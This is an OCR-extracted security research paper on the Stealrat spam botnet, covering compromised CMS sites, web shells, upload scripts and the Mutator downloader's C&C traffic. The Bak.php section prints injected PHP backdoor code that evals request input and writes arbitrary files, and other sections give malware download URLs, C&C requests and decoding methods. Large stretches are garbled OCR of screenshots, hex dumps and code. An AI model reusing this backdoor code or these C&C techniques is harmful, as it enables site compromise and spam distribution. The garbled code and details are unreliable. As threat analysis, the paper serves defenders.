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Introduction

In recent years, we have seen a steady increase in the volume of spam originating from
compromised websites. While these could be attributed to many parallel and isolated attacks
primarily due to the vulnerable nature of the sites that are exploited, one particular operation
we have dubbed “Stealrat” caught our attention. In as little as over two months, we have seen
more than 170,000 compromised domains or IP addresses running WordPress, Joomla!, and
Drupal send out spam.

The spamming technique used did notleave traces of communication between the compromised
sites and the actual spam server. This makes it difficult for spam filters to authenticate emails
since they come from legitimate sites and the compromised site owners to trace the origin of
the spam since they come from compromised user machines.

Even though some believe the Stealrat botnet has been active since 2010, it was not until
late last year when site owners started to notice that their sites were sending out porn-related
spam. These had links that pointed to landing pages hosted on compromised domains (i.e.,
not theirs).

& Hello M=l E3 || £ heh wife showing her red thong for everyone o [w] ES
J File  Edit View Tools Message Help |? J File Edit Wiew Tools Message Help |ﬂ’
- > » - B »
& G w8 =1 X O a¢ Gy “8 =] X Q
Reply Reply Al Forward Print Delete Previous Reply Reply Al Forward Print Delete Previous
From: Katherine Rivera From: Angeligue Todd
Date: Thursday, April 04, 2013 9:59 PM Date: Thursday, Aptil 04, 2013 9:59 PM
To: gmail.com To: il com
Subject: ‘Hello Subject: heh Wife showing her red thong for everyone
E =
- is this your sister in these wideos? You should let Wife s howing her red thong for everyone
her know before too many people see them.
[ -]
[ Dl B
| N N il v

We also found spam samples written in other languages like Portuguese, Spanish, Lithuanian,
and German. Note, however, that other samples in other languages can exist.
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While porn remains the underlying theme of Stealrat spam, we also saw samples that contained
snippets from Harry Harrison’s “The Stainless Steel Rat,” a science fiction book series about a

JFiIe Edit view Tools Message Help

: & Mi esposa puta ¥ su amigo negrol N [=] B3

JFi\e Edit ‘View Tools Message Help

I

B = T
g W | = X 8¢ 2 X | O
Reply Reply Al Forward Print Delete Previous Reply Reply Al Forward Print Delete Previous
From: Luisa Douglas From: Goldie Hartman
Date: Thursday, April 04, 2013 9:59 PM Date: Thursday, April 04, 2013 9:59 PM
To: = orail.com To: I il com
Subject: He he, Gatada Facul - Relogio Do Amor Subject:  Miesposa puta v su amigo negrol
| |
Gata da facul - Belogio Do Amor Wi esposa puta ¥ su amigo negrol
H
A
£ Ha ha Eine nonne auf abwegen 9 [ 3 |
J File Edit Yiew Tools Message Help ‘# J File Edit Wiew Tools Message Help |”
- » ym »
8 8 | = X O g & w | - X | O
Reply Reply Al Forward Print Delete Frevious Reply Reply Al Forward Prink Delste Preyious
From: Delia Robinson From: Jacqueline Cdom
Date: Thursday, April 04, 2013 9:59 PM Date: Thursday, April 04, 2013 9:59 PM
To: B orail.com To: o com
subject: [l skisimo tin kwlara tis pitsirkas arrwsti . Subject:  Haha - Eine nonne auf abwegen
= =]
skisitno tin kwlara tis pitsirikas arrwsti Eine nonne auf abwegen 1
-] =
< M——m— 4

con man and bank robber nicknamed “Slippery Jim.”!

# ¥ jagra 0, 90 C jalis 1, 90 _|Of x

J File Edit ‘ew Tools Message Help |”

# ¥ jagra 0,90 C jalis 1, 90 o ]

J Fle Edit ‘ew Tools Message Help

a ; » T, ; »
e w8 b X (4] J Q¢ w8 e X @
Reply Reply Al Forward Print Delete Previous Reply Reply Al Forward Print Delete Previous
From: Connor Chambers From: John Mueller
Date: Thursday, April 04, 2013 9:59 PM Date: Thursday, Aptil 04, 2013 9:59 PM
To: I 2 g ail.com To: grnail .corm
Subject: Vijagra0, 90 < jalis 1, 90 Subject: ¥ jagra0, 90 Cjalis 1, 90
E E
Vjagra 0, 90 C jalis 1, 90 V jagra 0, 90 C jalis 1, 90
Arseculint i3 an acronym for Area Sector Commander He looked me up and down coldly, a big man with big
Culturalwhen they appeared and the king alone stood muscles-as well Come with me he left, he made this
before them smiled a welcoming mile. We talee you to the recording Told me to give it to you. Told me Death and
market! he called out. These men are all Whasha? I torture and murder and rapebefore. Vanished among the
blurted incoherently. Blinking down at the cuffs trees around the lale. MNone retumned.
-] =
N . TN EE 4| TETE T 4

1 Wikimedia Foundation Inc. (June 26, 2013). Wikipedia. “The Stainless Steel Rat.” Last accessed July 16, 2013, http:/
en.wikipedia.org/wiki/The_Stainless_Steel_Rat.
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All of the spam samples we were able to obtain had links that pointed to either porn or online
pharmacy sites hosted on compromised domains (i.e., not the compromised site senders’).
Simply put, the operation:

1. Exploited sites by injecting malicious PHP and HTML pages into vulnerable folders
2. Compromised user machines to harvest spam information

3. Compromised web pages to deliver payloads

SPAM DATA INCLUDES: COMPROMISED CONSTRUCT
- Backup mail server SITE 1 —
- Sender's name

- Reciplent's address

- Emall template BEND SEND
SPAM TO
DATA

GET SPAM DATA CONNECT
COMPROMISED
SPAM SERVER {_} MALWARE VICTIM SPAM RECIPIENT _) SITE 2

The three-step method above was likely intended to further evade spam engines and filters.
Normally, an IP address or domain that sends out spam has a very short life span because
spam engines would blacklist them as soon as they are verified to be spam domains. In the
setup shown in the diagram, the actual spam domain hides behind three layers of unsuspecting
victims—the two compromised sites and the infected machine.

Inside the Compromised Website

Exploiting sites plays an important role in Stealrat’s operation. Apart from acting as spam
engines, the sites also serve the operation’s final payloads, giving the botnet operators a means
for a “hands-off approach” to spamming,

During our investigation, we got a glimpse of the tools the botnet operators use when we
discovered that some of the compromised sites we closely monitored had open directories.
This gave us access to their site folders.

2 Valuable inputs included in this research paper were also obtained from Trend Micro threat researchers, Chris Ke, David Sancho,
Feike Hacquebord, David Sancho, Jon Oliver, Mark Manahan, and Ryan Flores.
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" Index of Mp-contentiplugins_ﬁindm Internet Explorer

2O~ B oo S

le Edit \Miew Favorites Tools  Help

f Favorites | {:5 €| Free Hotmall & | Suggested Sites ~ @ | Web Slice Gallery ~

E Index of fwp-content/plugins, IMEG_—— | ‘

[ndex of /wp-content/plugins/ m—

o Parent Directory
2abook php
avOY himl
cookieLfRE_php
gzphp

gsmphp
loginsSAR php
rsskYoD php
scheduleDvkg.php
statistics]TO.php

Though some files have already been deleted, we were still able to compile files typically found
in a compromised site’s folder.

Control Panel

The control panel seems to have been based on WSO 2.5, a PHP shell toolkit from Packet
Storm.” Although it has less functionality compared with the original, it has the basic file and
directory commands like:

*  Download file Modify file/directory permissions
e Upload file ¢ Create directory

*  Remove file/directory

It also displays system information including:

e OS * Root directory

e User name * Current working directory

e PHP version e Server IP address (compromised)

¢ Disabled functions * Client IP address (connecting IP
address)

¢ Hard disk information

¢ Website URL

3 Packet Storm. (2013). Packet Storm. “WSO Web Shell 2.5.1.” Last accessed July 15, 2013, http://packetstormsecurity.com/
files/117974/WSO-Web-Shell-2.5.1.html.
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Qe (€ b m— — BEIENE [[o]
Fie EdE Vew Favortes Teds Fep

Lo Favorites | 55 B FreeHotmal £ - e -

(€ it p—p-content (oo p—. &8 y v Pagev Safety v Took v

5_64 #1SMP Thu 6 Server I

" Client1p:

[home |

/home/: * * /public_html/wp-content/plugins/- _ /2abook.php
/home/ _~ ~  /public_html/wp-content/plugins/. /avoY.html
/home/_* *-/public_html/wp-content/plugins/ _ /cookieLfRR.php
/home/: * * +/public_html/wp-content/plugins/ p— )

/home/- * * /public_html/wp-content/plugins/ . /gsm.php
/public_htmi/wp-content/plugins/. /loginsSAR.php
—/public_html/wp-content/plugins/ _rssk¥oD.php
~/public_html/wp-content/plugins/ . IscheduleDyka.php
/public_html/wp-content/plugins/- " [/statisticsITO.php

/public_html/wp-content/plugins/- " *

[ /home/ ." " /public_html/wp-content/plugins/contact-form-7/ 1

[ /home/ "~ fpublic_html/wp-content/plugins/wp-ultra-simple-paypal-shopping-cart/ ]

[ /home/ . /public_html/wp-content/plugins/tv1/ |

[/home/ "~ -_html /wp-content/plugins/wp_path/ ]

[ /home/ /public_html/wp-content/plugins/wp_path2/ ]

/home/ _**/public_html/wp-content/plugins/hello.php

[ /home/ _**  fpublic_} ins/exclude-pages/ 1

[ /home/' -_html/wp-content/plugins/

Another interesting page is a version of a C99Shell uploaded to the same directory as the
Control Panel on some WordPress sites. Using this PHP shell, we were able to navigate through
and download all of the sites’ pages.

Aurora
Ele Edt Wew Hgory Bookmerks Tools Help

. vpsb:net - phpshell. | Zimyin - Google search

€)@

s ol ) [ o 7 a B

{1 vplabs.netup-

Software: Apache. PHP/5.2.17
uname -a: Linux srv53.hosting24.com 2.6.32-379.14.1.Ive 1.1.9.9.e16.x86_64 #1 SMP Thu Dec 6 07:12:24
EST 2012 #86_64

Safe-mode:
/home/vplabsne fpublic_html/
Free 148.38 GB of 2749.66 GB (5.4%)

Encoder Tools Proc. FTPbrute Sec. SQL PHP-code Update Feedback Selfremove Logout

Listing folder (30 files and 6 folders):

Modify & Owner/Group Perms
24.04.201

a

xphp
id.php 02:46

jte php -

ate.php

m.php

action
on
or
Ld ]
L]
on
D x
L]
L]
or
or
or
or
or
or
or
or
or
Lidd
or
or
Lidd
or
or
Lid 3

Some sites also contained the original WSO panel instead of the modified version. Like the
C99Shell, its use made site navigation easier to do than if the standard control panel was
utilized.
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[Crommmm w5025 x LY = e
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File manager
LI
[

PHP Scripts

Several other scripts were also found on the compromised sites’ folders including:

* sml3e.php/chl3e.php * copy.php
* up.php ¢ patch.php
¢ del.php * bak.php

Each PHP script performed a specific task and may have a different name in each site
folder. Note that some of these scripts may not be present in or have already been
deleted from the compromised sites’ folders.

Sm13e.php/ch13e.php

Sw13ephp/chl3ephp is the mailer script that the binary file sends the spam data
to. It is randomly named and usually takes the form, [readable name|/4 random

characters|.php.

It processes the POST request a compromised system makes but it should
contain the following:

¢ l[random characters] — email address (to send spam to)
* e[random characters] — nine randomly generated characters

* m|random characters|] — mail server

¢ d[random characters| — mail template
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If all of the given parameters are met, the site replies with
OKe807f11f82d1329bb018¢ca6738a19f+0. 1f less than two parameters
are met, it replies with [OS/10+6/042da0e32e07b61c9f0251fe627a9c. 1
the email address or mail template parameter is empty, it replies with
JOS]11+6f042da0e32e07b61c9f0251fe627a9c. 1f the mail server parameter is not
present, it will attempt to send the email via SMTP port 25 and replies with
OKe807f11ef82d132/9bb018ca6738a19f+1, if successtul. If unsuccessful, it replies
with 20+6f042da0e32¢07b61c9f0251fe627a9¢+[1 or 0].

Up.php

Upphp is accessed by sending a POST request in the format, [server//
up.php?b64cont=[B64 datal. This uploads the Base64 (B64) data to the server and
saves it to a writeable folder using any of the following file names:*

¢ admin.php ¢ file.php

e ajax.php ¢ files.php
 alias.php ¢ footer.php

e article.php ¢ functions.php
* blog.php e gallery.php

¢ cache.php ¢ general.php

* code.php ¢ global.php

e config.php * header.php

* css.php *  help.php

¢ db.php * inc.php

¢ defines.php * include.php

e diff.php * info.php

e dir.php e iniphp

e dirs.php * javascript.php
¢ dump.php e lib.php

* error.php ¢ list.php

4 Wikimedia Foundation |

. (July 15, 2013). Wikipedia. “Base64.” Last accessed July 15, 2013, http://en.wikipedia.org/wiki/

10
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* login.php .
* menu.php .
* model.php .
* object.php .
* option.php .
* options.php .
° pagephp :
*  plugin.php .
* press.php .
e proxy.php .
e search.php .
¢ session.php .

sql.php
start.php
stats.php
system.php
template.php
test.php
themes.php
title.php
user.php
utf.php
view.php

xml.php

A'log of the operation performed (see below) is then printed out:

<put><rpath>C:/Inetpub/wwwroot/_vti_log/alias.php
</rpath><url>http://localhost/vti_log/alias.php</url></put>

<udata><rpath>C:/Inetpub/wwwroot/_vti_log/alias.php
</rpath><url>C://localhost/vti_log/alias.php</url></udata>

The script also prints out the following server information:

¢ Document root path

¢ Current working directory

* Relative path

ll
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Del.php

Delphp is accessed by sending a POST request in the format, [server]/del.
php2b64cont=[B64 data]. This uploads the B64 data to the server and saves it to a
writeable folder using any of the following file names:

¢ admin.php ¢ general.php
* ajax.php ¢ global.php
¢ alias.php e header.php
* article.php * help.php

* blog.php * inc.php

¢ cache.php ¢ include.php
e code.php * info.php

e config.php * ini.php

* css.php * javascript.php
e db.php e lib.php

e defines.php * list.php

e diff.php * login.php

e dir.php * menu.php

e dirs.php * model.php
e dump.php * object.php
e error.php * option.php
e file.php * options.php
 files.php * page.php

e footer.php e plugin.php
* functions.php *  press.php

e gallery.php e proxy.php

12
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search.php
session.php
sql.php
start.php
stats.php
system.php

template.php

test.php
themes.php
title.php
user.php
utf.php
view.php

xml.php

<ocwdre:
<docro:
<Crerc:
<oCrexc:
<orerc:
shinetpub wywrooth vei scriptindex.php</crer<vars<nawe>xiwvdl</namer<dataryagprni</datas<evarsldnyvad/ evar</vars
<oCrerc:
<orexc:
<patrc:

<crexo

<cre>c:
<crerc:
<creroc:
<crerc:
<cresc:

A'log of the operation performed (see below) is then printed out:

<udata><rpath>c:\inetpub\wwwroot\_vti_log\themes.php
</rpath><url>http://localhost/_vti_log/themes.php</url></udata>

This does something similar to #p.php, except that it does not print out server
information.

Copy.php

Copy.php is accessed by sending a POST request in the format, [server]/copy.
Phpeb64cont=|B64 data] &>rp[Remote File Path]. This uploads the B64 data to the
server and saves it as the file specified in the 7p parameter.

Patch.php

Patch.php provides a B64 encoding of the list of newly created zndex.php files,
including their randomized variables.

Y inetpubt wwwroot’ pane 1</ cuds

Yinetpub' wwwroot</doc>

Y inetpub' wywroothaspnet_clienthsystew_web' index.php</crer<var><nsmerqogxme</ namer<datarszovbrb</datar<evartfluvibl</evar</var>
Yinetpubh wiwrooth _vti_pvth index. php</crer<vars<namerwrmipu<d/ namer<datareqdov 1</ datax<evarkmnsse g/ evar</ var>

Yinetpubh wwurooth_vei_logh index . php</cres <vars <name>gguhxui</ name><datarwevyirud</ datar <evareichpi </ evar </ vars

Y inetpub' wwurooth images) index. php</crer<var><name>dpuc ljfc</ names<data>forv</datasr<evarekde</ evar</vars>
Yinetpublwiwrooth _vti_cnfh index. php</crer<vars<name>wsjwsxgi<d/ namer<datarwysyziii</datar<evarbr lgajck</ evar</var>
Yinetpub' wwuroot) index. php</ pat><var><namerdbxprknd/ name> <datarXguyu</datar<evarvortged/evar</ vars

tinetpub)wwwroothaspnet_client’ index.php</cres><var><name>rtvizxib</namer<datarhejlsh</data><evarcvgkiehi</evar</var>

Y inetpubt wwwroot panely index. php</ crer<vars><namermt lmxuc</ namer<datarprgaxfl</datar<evarzrdt</evar</vars

Yinetpubd wiwrooth _vti_ txth index.php</crer<vars<namergopk</ namer <datarayrohzud/ datar<evar Llhdenfwd/ evar</vary

Y inetpub' wywroothaspnet_clientisystem_webil 1 4322% index.php</crer<varr<name>turwkomz</namer<datarwzowlp</datar<evarmriqusiz</evar</var>
Yinetpubl wywrooth _privatel index. php</crer<vars<namercegutvie</ namer<datarqldwnaws</ datar<evarbdkio</ evar</vars

13
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Bak.php

Bak.php provides a B64 encoding of the backup copies of newly created zndex.
php files as well as the document root path and the current working directory.

<owd>c:h inetpub’ wuwrooth pane 1</ cwd>

<docre:h inecpub’ vuwroot </ doo>

<¥patroyinecpublwvwrooth wei puthindex. php</xpacs

“valrZbzliZfcih7e2 1547as0c0e706beds7a";: 1f (igset ($7REQUEST[ 'lmmsseq'])) { §ficzasiv = $7REQUEST[ 'lmmsseq']: evalificzasiv): exit(): ¥

if (isset (§_REQUEST['wrmipu'l)) ¢ $luljha = § REQUEST['eqdgvl'l: $ywhvylw = § REQUEST['wrmipu'l: §xqgiy = fopen($yvhvylw, 'w'); $hospeu =
fwrite ($xgiy, §luljha): fcolose(dxgiy): echo $hospeu; exit(): i< /wval>

<¥patro:iinetpubiwwwrooth _vti_logh index.php</xpat>

<val>d5a5280bfe43dib4chdaS?0dfbez30aa™; if(isset (§_REQUEST['cichpi'l)) { §$kbkkjafw = §_REQUEST(['cichpi'l; eval(jkhkkiafw); exit(); }

if (isset [§_REQUEST['gguhxwi']l)) { Fcfwyirr = §_REQUEST['wewgkrud']; §lgvrwih = §_REQUEST['gguhxwi'l; §sabtzrrr = fopen(§lgvrwih, 'w'): §iyeve =
fwrite [§sabtzrrr, §cfwyirr); fclose(§sabtzrrr); echo §ivove; exiti); r</vals

“wpatFolinetpulbl wwwroot)_veti_txt)index.php</xpat>

<ral>35h75h512cH7176e566463 7a7aboo0eE”; 1f (isset (§_REQUEST[' llhdenfw'])) { §rveef = § REQUEST['llhdenfw']: eval($rveef); exit(); }

if (isset (§_REQUEST['qopk']]) { §pahe = §_REQUEST['agtohzu']; $reiecua = §_REQUEST['gopk']; §jriuzdn = fopen(freieousa, 'w'); §jzohnoed =
furite (§jriuzdn, §pahe); fclose(§iriuzdn); echo §jzchnoed; exiti(); r</vals

Inside the Compromised System

Malware and Network Communication

This operation makes use of several binary modules as a cloaking mechanism. The
main downloader that runs on the compromised user machine queries the command-
and-control (C&C) server. The server, meanwhile, typically sends a download link for
the modules along with their parameters. The following lists the modules sent:

*  MulePlus * DirectSender
¢  SmManager/sendPost *  SH components
*  Online Registrants

The Downloader: Mutator

Mutator, also known as “Rodecap,” is the main downloader. When executed, it
drops several copies of itself into different directories including but not limited
to the following:

*  %Application Data%\Microsoft\clipstv.exe
*  %Application Data%\Microsoft\logman.exe
*  %Windows% \dllhost.exe

*  %Windows% \wininit.exe

*  %Windows%\System \ieudinit.exe

¢ %System%\drivers\esentutl.exe

14
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*  %System% \drivers\mstinit.exe
* %System% \drivers\sessmgt.exe
* %All Users%\dllhst3g.exe
To remain persistent, it modifies the following registry keys:

 HKEY_CURRENT_USER\Software\Microsoft\Windows\
CurrentVersion\ Policies\ Explorer\Run

« HKEY_CURRENT_USER\Software\Microsoft\Windows NT\
CurrentVersion\ Windows

 HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\
CurrentVersion\Run

e HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
CurrentVersion\policies\ Explorer\Run

e HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
CurrentVersion\Run

It also creates the folder, %Tenp%o\~NwcTemp, whete it saves the binaries it
downloads. To check in to a server, it sends a GET or POST request with
the parameters, /protocol phpip=[volume serial ~number|d=[id={volume serial
numbery &sr="{ hardcoded} &wv={windows version}]. An example of this request
would be /protocol.php2p=940496771id=94049677 1 &*sr=daan>wv=5_1_2600.
When  encrypted, it looks  like  /protocol phpip=940496771>d=
6rMzAbfnOgG14Dk[paR8Bee2b02l0Hgltog/ 7.7 HhPgilond Fsg==. The d parameter
in the URL path is encrypted using the hard drive’s volume serial number as key
and encoded with B64 afterward.

Interestingly, and perhaps to blend in with normal traffic, it modifies the host to
www.google.com by adding it to the request header after establishing a connection
to the actual server and just before sending over the data. As such, to the
undiscerning eye, network logs would show that the system is establishing a

connection to Google.

15
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GET /protocol.php?p=940496771&d=6rMzAabfn0ogGl4DkIpar8Bee2b02loHgFtog/Z7HhPgg= HTTP/1.1
Accept: ®/%®
iost: wwwi.google. com]

User-Agent: Mozilla/5.0
Connection: Keep-Alive
cache-Control: no-cache

HTTP/1.1 200 OK

server: nginx

Date: |sun, 24 Mar 2013 07:16:36 GMT
Content-Type: application/octet-stream
Transfer-Encoding: chunked

Connection: keep-alive

Keep-Alive: timeout=20

b5

If it fails to access any of the servers, it will check for a valid connection by
accessing b#tp:/ | www.msfinesi.com/ nesi.txt, Microsoft’s way of checking for intranet
and/or Internet connectivity in Windows Vista® and later.” It also logs and
compiles the errors it encounters, which it then sends when a connection to a
server is establisshed.

Another interesting behavior is that instead of accessing the actual domains,
it queries the mail servers of those domains and accesses them instead. For
instance, lyrics-db.org has the following mail servers:

* mxl.games-olympic.org
* mx2.games-olympic.org

So, for the given example, the actual URL it accesses is h#tp:/ [ mx1.games-olympic.
org/ protocol. php2p=940496771>d=6rMzAbnOgG14DEJpaR8 Bee2b02l0Hgl tog/
Z7HhPgilon4Fsg==. The server then replies with an encrypted command that
instructs it to download, save, and execute binary files. The encryption used is
similar to the 4 parameter minus the B64 encoding. When decrypted, the server’s
response contains the key and binary instructions.

http://gettrial.store-apps.org/d/conhl0. jpy conhost.exe /ftZZ /run-stat /3 /d /tildip
http://gettrial.store-apps.org/d/conhl0. jpy conhost.exe /ftZZ Srun-stat /3 /d /riéfp

Previous Versions

Studying the previous versions gave us an idea as to how the threat has
improved and evolved over time. Older versions of Mutator are known
to have originated from eMule, patticulatly b#tp:/ / geazt.ru/m/ laz7.exe, a
popular peer-to-peer (P2P) file-sharing application similar to eDonkey
and Kazaa.®

5 Microsoft. (2013). Appendix K: Network Connectivity Status Indicator and Resulting Internet Communication in Windows Vista.
Last accessed, July 18, 2013, http://technet.microsoft.com/en-us/library/cc766017(v=ws.10).aspx.
6 eMule. Last accessed July 15, 2013, http://www.emule-project.net/home/perl/general.cgi?l=1.
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00003 £e0h:
00003 ££0h:
0o004000h:
00004010h:
0ooo40z20h:
00004030h:
0oo04040h:
00004050h:
0ooo4060h:
00004070h:
0oo04080h:
00004090h:
0oo040a0h:
000040b0h:
0o00040c0h:
000040d0h:
0o00040e0h:
0o0040£0h:
00004100h:
00004110h:
00004120h:
00004130h:
00004140h:
00004150h:
00004160h:
00004170h:
00004150h:
00004190h:

One of the primary differences between the old and new versions lies
in their attempt to conceal the download server. While new versions use
mail servers to obtain download commands, old ones just scrambled
substrings that comprise the server name.

00 21 40 00 58 21 40 00 62 61 64 20 61 &6C &C &F ; .OB.ZOR.bad allo
63 61 74 69 &F 6E 00 00 41 45 43 33 44 32 46 33 : cation..AEC3DZF3
2D 45 45 33 33 2D 34 34 36 66 2D 41 31 36 44 2D ; -FE33-446f-A16D-
42 35 36 42 41 37 43 30 44 44 44 42 00 00 00 00 ; BES6BAT7CODDDE....

Eoneck”
T=s)

! 1ss.openpicz.net

6F 77 6E 6C 6F 61 64 5B 00 00 00 00 20 00 00 00 ; ownlosd[.... ... 3
2C 20 00 00 45 72 72 6F 72 3E 3E 4C 61 75 6E 63 ; , ..ErrorrrLaunc
68 5B 00 00 57 61 72 6E 62 6E 67 3E 3E 44 6F 6E ; h[..Warning>>Don
65 5B 00 00 2F 6C 74 73 2E 74 78 74 00 00 00 00 ; e[../lts.txt....
3C ZF 7z 65 70 3E 00 OO0 3C 72 65 70 3E 00 00 00 ; </rep>..<rep>...
3C 2F 64 75 64 70 3E 00 3C 64 75 64 70 3E 00 00 ; </dudpr.<dudpr..
3C ZF 70 75 64 70 3E 00 3C 70 75 64 70 3E 00 00 ; </pudp>.<pudp>..
3C 2F 74 68 64 3E 00 00 3C 74 68 64 3E 00 00 00 ; </thd-..<thd-...
3C 2F 64 6F 6D 3E 00 00 3C 64 6F 6D 3E 00 00 00 ; </dom>..<dom>...
3C 2F 66 70 3E 00 00 00 3C 66 70 3E 00 00 00 00 : </fp>...<fp>....
3C ZF 70 61 72 3E 00 OO0 3C 70 61 72 3E 00 00 00 ; </par>..<par>...
3C 2F 72 66 6E 3E 00 00 3C 72 66 6E 3E 00 00 00 : «</rfns..<rfn>...
57 61 72 6E 69 6E 67 3E 3E 43 61 6E 74 47 65 74 ; TVarning>>CantGet
ES 73 65 72 61 6E 61 6D 65 00 00 0O 20 3E 3E 00 » Hseraname... E

Old versions send a GET request to the server to download the
configuration file, h#p:/ / rss.openpicz.net/ lts.txt.

<rep>p» report

<c1udp>msc.s:a:—run.org<fdudp>|:> udp domain
<pudp>?060<.-"’pudp>¢ Udp port

</rep>

<thd> e 777
<dom>rss.openpicz.net</dam> e domain
<fp>/d/thd145492. ipg</fp> e file path
<par>/t2 /stat-run /3 /d /jtc05@t</pars Eoe parameter
<rfnxmdm.exe</rin o remote file name

</ thdx>

The binary then parses the tags to download then saves and executes the
file using the parameters associated with it.

Another notable difference is that while new versions include the
Windows® version and volume serial number in its initial beacon to the
mail server, previous versions send system information to the Debug

(Report) server via UDP.

[435200654313]0ut>> Uname: Administrator >>
[435200654313]0ut>> Wver: 5_1_2600 >>
[435200654313]End>>

Old version’s way of sending system information

17
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[mailserver.com]/protocol.php?p=[volume
serial number]&d=[id={volume serial
number}&sr={hardcoded}&wv={windows version}]

New version’s way of sending system information

Modules

Regardless of version though, Mutator serves only one purpose—to download
and execute modules that have changed and improved over time. Even though
we documented some of the modules in this paper, we have probably not seen
all of them yet.

SmManager/sendPost

SmManager/ sendPost is downloaded onto the compromised system to
harvest spam data and the recipient list. It then sends this information to
compromised web servers that perform the actual spam sending,

Once executed by the downloader, it accesses the URL given by the main
file by accepting parameters in the format, file.exe/ [subdomain]/ [domain]/
[tld]/ [config file name], where [#d] is denoted by the following numbers:

* 1—.com ° 3—.org
e 2 5 net * 4 — loc

It then sends a GET request to download an encoded configuration file.

GET /d/t14.php HTTR/1.1
User-Agent: -

Host: t22.run-stat.or
cache-control: no-cache

HTTP/1.1 200 OK

server: nginx

pate: Fri, 22 Mar 2013 13:09:02 GMT

Content-Type: text/plain

Content-Length: 304

connection: keep-alive

Keep-Alive: timeout=5

Last-Modified: wed, 20 Mar 2013 09:13:33 GMT

ETag: "51497dbd-130"

Accept-Ranges: bytes

=gsvv?ouq,/tubu. svo,/jogp=0qswvv?.=qsfq79121=0gsfq?. =mitu?tff15/svo. tubu/psh=0mitu?.=mvsj?
0jnhotff1/dhj=0mvsj?. =mec?eec=0mec?. =mupu?2111=0mupu?.=mipq?21=0mipqg?.=bvt?iuug; 00gx/
svo. tubu/pshOhv/qig=0bvt?.=bvc?iuug; 00cu3,/svo.tubu{pshObfZ?qw‘ gq=0bvc?.=fod?2=0fod?.=csfg?
31=0csfg?.=udou?21=0udou?. =toeq?2111=0toeq?.|

To decode the request above, subtract 01 from each byte.

18
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<pruurntp.stat-run. info</pruuns
<prepxE010</prep>
<lhstrseekd.run-stat.org</ lhst>
<lurisx/img/ seek.cgi</ luris

< ldbsddb</ ldks

<ltotx1000</1tots

<lhop=10</ lhops=
<gusrhttp://fw.run-stat.org/gu. php</aus>
<aubrhttp://bté.run-stat.orgfael. php</aubs>
<encrlafencs>

<brefxz0</bref>

<tontx10</tent>

<sndp>1000</ sndp>

A typical configuration file contains the following tags:

* Debug/Testing Server: Inside the <pruu></pruu> and
<prep></prep> tags is the hostname and port number of a testing
server where the encoded debug strings are sent via UDP.

175200 bOUB. D30LU LU 1U. 1U. 2 ZUB. 115, 1UY. 35 uwr 172 S0UFCE POFT: ZUZ3  DESTINATION POrT: BULY
175265 6609.04231 10.10.10.2 208.115.109. 53 176 source port: pestination port:
175323 6609.69857 10.10.10.2 208.115.109. 33 uop 209 Source port: 2028 Destination port: 8010
175429 6610.2546210.10.10.2 208.115.109. 33 uop 149 Source port: 2033 Destination port: 8010
175444 6610.3566910.10.10.2 208.115.109. 53 uop 186 Source port: 2034 Destination port: 8010
175475 6610.5172310.10.10.2 208.115.109. 53 upp 157 source port: applus Destination port: 801
175484 6610.6012210.10.10.2 208.115.109. 33 uop 170 Source port: 2038 Destination port: 8030
175491 6610.7111910.10.10.2 208.115.109. 53 upp 177 source port: prizma Destination port: B01
175528 6611,27077 10.10.10.2 208,115.109. 53 ubpP 134 source port: isis Destination port: 8010
175533 6611.45421:110.10.10.2 208.115.109. 53 ubDpP 220 source port: isis-bcast Destination port:
175561 6611.7646510.10.10.2 208.115.109. 53 upp 157 source port: 2046 Destination port: 8010
10.2 208.115.109. 53 uDP 307 source port: 2048 Destination port: 8010

175568 6611.8395610.10.

4 8 .

Frame 175265: 176 bytes on wire (1408 bits), 176 bytes captured (1408 bits)

Ethernet II, Src: Vmware_77:82:04 (00:0c:29:77:82:04), Dst: Vmware_66:95:ch (00:0c:29:66:95:ch)
Internet Protocol Version 4, Src: 10.10.10.2 (10.10.10.2), Dst: 208.115.109.53 (208.115.109.53)
User Datagram Protocol, Src Port: 2026 (2026), Dst Port: 8010 (8010)

pata (134 bytes)

00 Oc 29 66 95 ch 00 Oc 29 77
97 19 00 00 80 11 51
ea 1f 4a 00 8e
36 36 2c 5
7e 2c 36 36
51 2c 36 36
78 78 7c 36
7e 60
7f 23
36 2c

4
79 69 7f 78 2c 57 3d 3e 3c 3c

To decode this, XOR each byte with 0C. For the traffic above,
for instance, the debug string is 940496771 :: Smmt2 :: Error :
_SwiThread[6] :: SmPost :: bttp:/ ] [redacted].com/ includes/ infoKIV g.php
= HtpSendRequest [12002]. This is very useful for researchers, as it
shows which of the compromised sites are still up, along with the
status of the threads the binary spawns.

e Mail List Server: Inside the </hst></lhst> and <luri></luri>
tags is a link from which a list of email addresses to send spam to
can be downloaded.
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GET /img/seek.cgi?lin=10&db=ddb HTTP/1.1
Accept: ®/*

User-aAgent: Mozilla/5.0

Host: Seekd.run-stat.org

Connection: Keep-aAlive

cache-Control: no-cache

HTTP/1.1 200 OK

server: nginx

pate: Fri, 22 Mar 2013 13:09:03 GMT
Ccontent-Type: application/octet-stream
Transfer-Encoding: chunked

connection: keep-alive

Keep-Alive: tTimeout=5

1q1
U=49un9L>=30.f.d.v.g..?wBL!@)Ek. g

)31"c&Iq&_>P$.r.m.u.o/G("1POU{.w...P9Z256Za60"C-. {.u.y.W D#&'.j.heo"K(@!'D
.D=5"B0.f.d.x...td4m,D+Dj.fka,EEN,/I&. 13A2Q9. 1. FH%. | .w.g.O(ESM!. 1. nCi$M.F B..B;H; .m. j
j.C$I1.q. 'mg*C H)L .By.Z.p.t.{;5<H%D-A0.C...D-N&G"Nu,M%D=\g
.h.1.y.p. h.I$w9. t. v{g<U6A?ZE6

5X97+@). k

.H,_3v.Z(M Ek.g

1"C&Iq(I'F-.e.z.|.a.~.p.B%¥H)@,.a.cnd

The data is encrypted by simply XOR-ing adjacent bytes. When
decrypted, the data would look like this:

Miguel:Delgadillo; Fhotmwail.com
Miguel:Deluzuriaga; [l yahoo . com
Miguel;Difrancisco; Anetzero.com
Miguel;Dominguesz; Fhotmail.com
Miguel:;Dumcoulin; Fhotmail.com
Miguel;Edward:; Bhotmail..com
Miguel;Elmstedt; Bopuail. com
Miguel:Fana; JByahoo. com
Miguel:Fernandez; Fhotmail.com
Miguel:Fernandez; Fhotmail.com

*  Email Template: Inside the <awb></aunb> tag is a link that
downloads an encrypted spam template to send to the email
addresses in the list.

GET /fael.php HTTP/1.1
Accept: */*

User-Agent: Mozilla/5.0
